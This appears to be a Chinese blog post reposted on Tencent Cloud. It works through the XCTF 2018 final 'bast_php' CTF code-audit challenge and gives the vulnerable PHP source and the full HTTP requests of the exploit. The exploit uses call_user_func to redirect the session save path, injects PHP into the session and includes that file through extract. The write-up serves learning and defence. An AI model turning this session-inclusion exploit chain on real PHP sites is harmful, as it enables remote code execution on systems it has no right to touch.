前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >简单的代码审计了解一下

简单的代码审计了解一下

作者头像
用户5878089
发布于 2019-07-25 08:25:25
发布于 2019-07-25 08:25:25
76500
代码可运行
举报
运行总次数:0
代码可运行

前言

好久都没有写推文了,主要原因是懒,另外最近一段时间我们老大让我在开发平台,写代码写的头疼。这两天发现很多有意思的题目,自己主要是复现了一下,了解一起其中的道理,算是为以后的路打一下基础,这两天简单研究了一下CTF比赛上的代码审计题目,发现自己代码审计的功底太弱了,逼格比较高的CTF比赛题目一般设计的也比较巧妙,废话不多说,开始吧。

基本配置

代码审计题目: `bast_php`
题目来源:XCTF 2018 final
复现环境:PHP7.0
题目描述:
核心代码如下:
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    highlight_file(__FILE__);
    error_reporting();
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters';
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?> 
代码注释:

虽然代码比较短,利用过程却比较巧妙,现在通读代码: 首先,题目限制了工作目录:/var/www/html:/tmp; 变量$funcGET的形式可控; 同时可以运行回调函数,这句代码让这个题目有很大的发挥空间; include函数,文件包含file文件,看似变量不可控; session_start(),而且session内容可控; 可以直接post的方式提交;

解题思路:

看到session可控,应该能想到是文件包含,getshell,那么这里存在两个问题:

  1. 题目的open_bashdir,限制了可读文件的目录,session在php7里存在的路径的是/var/lib/session/sess_SESSIONID
  2. 文件包含如何才能包含到session

首先第一个问题,从题目中可以看出,session_start()函数是在call_user_func()函数之后的才调用的,函数名称可控,所以我们可以先调用一下函数类似这样 session_start(['save_path'=>'/tmp'],) 这时候,session的路径就保存在了/tmp,这个时候,index.php可以满足题目上 ini_set('open_basedir', '/var/www/html:/tmp'); 的限制了,

其次是第二个问题 $file变量看似不可控,但是仔细一想还是用call_user_func()函数,$file是个变量,可以用变量覆盖的函数来修改成我们想利用的值,变量覆盖的函数有一下几个,一个个尝试:

  1. parse_str
  2. extract
  3. eval

但是参数是数组的只有一个extract因此主要选用extract

实现步骤:

不管是选择哪种变量覆盖的函数,首先要将session的路径设置为可以读取的/tmp 或者/var/www/html 可以利用如下paylaod

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.7/index.php?function=session_start&save_path=/tmp
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Connection: keep-alive
Cookie: Hm_lvt_a36a4f4ee8939983b90ff735d32381a2=1541302869; PHPSESSID=71i7ao6o1261ramos80nkqoa06
Upgrade-Insecure-Requests: 1

name=%3C%3Fphp+phpinfo%28%29%3F%3E

接下来就需要变量覆盖:

可以利用如下的payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://192.168.1.7/index.php?function=extract&file=/tmp/sess_71i7ao6o1261ramos80nkqoa06
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验